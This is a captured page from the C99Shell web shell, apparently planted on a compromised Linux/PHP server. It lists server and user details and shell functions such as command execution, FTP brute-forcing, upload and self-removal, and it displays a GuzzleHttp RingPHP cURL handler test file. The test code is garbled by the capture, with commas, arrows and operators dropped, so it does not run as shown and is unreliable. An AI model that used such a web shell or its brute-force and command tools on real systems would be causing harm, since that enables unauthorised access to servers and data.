!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/guzzlehttp/ringphp/tests/Client/   drwxrwxr-x
Free 11.49 GB of 61.93 GB (18.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CurlHandlerTest.php (2.66 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace GuzzleHttp\Tests\Ring\Client;

use 
GuzzleHttp\Ring\Client\CurlHandler;

class 
CurlHandlerTest extends \PHPUnit_Framework_TestCase
{
    protected function 
setUp()
    {
        if (!
function_exists('curl_reset')) {
            
$this->markTestSkipped('curl_reset() is not available');
        }
    }

    protected function 
getHandler($factory null$options = [])
    {
        return new 
CurlHandler($options);
    }

    public function 
testCanSetMaxHandles()
    {
        
$a = new CurlHandler(['max_handles' => 10]);
        
$this->assertEquals(10$this->readAttribute($a'maxHandles'));
    }

    public function 
testCreatesCurlErrors()
    {
        
$handler = new CurlHandler();
        
$response $handler([
            
'http_method' => 'GET',
            
'uri' => '/',
            
'headers' => ['host' => ['localhost:123']],
            
'client' => ['timeout' => 0.001'connect_timeout' => 0.001],
        ]);
        
$this->assertNull($response['status']);
        
$this->assertNull($response['reason']);
        
$this->assertEquals([], $response['headers']);
        
$this->assertInstanceOf(
            
'GuzzleHttp\Ring\Exception\RingException',
            
$response['error']
        );

        
$this->assertEquals(
            
1,
            
preg_match('/^cURL error \d+: .*$/'$response['error']->getMessage())
        );
    }

    public function 
testReleasesAdditionalEasyHandles()
    {
        
Server::flush();
        
$response = [
            
'status'  => 200,
            
'headers' => ['Content-Length' => [4]],
            
'body'    => 'test',
        ];

        
Server::enqueue([$response$response$response$response]);
        
$a = new CurlHandler(['max_handles' => 2]);

        
$fn = function () use (&$calls$a, &$fn) {
            if (++
$calls 4) {
                
$a([
                    
'http_method' => 'GET',
                    
'headers'     => ['host' => [Server::$host]],
                    
'client'      => ['progress' => $fn],
                ]);
            }
        };

        
$request = [
            
'http_method' => 'GET',
            
'headers'     => ['host' => [Server::$host]],
            
'client'      => [
                
'progress' => $fn,
            ],
        ];

        
$a($request);
        
$this->assertCount(2$this->readAttribute($a'handles'));
    }

    public function 
testReusesHandles()
    {
        
Server::flush();
        
$response = ['status' => 200];
        
Server::enqueue([$response$response]);
        
$a = new CurlHandler();
        
$request = [
            
'http_method' => 'GET',
            
'headers'     => ['host' => [Server::$host]],
        ];
        
$a($request);
        
$a($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.4235 ]--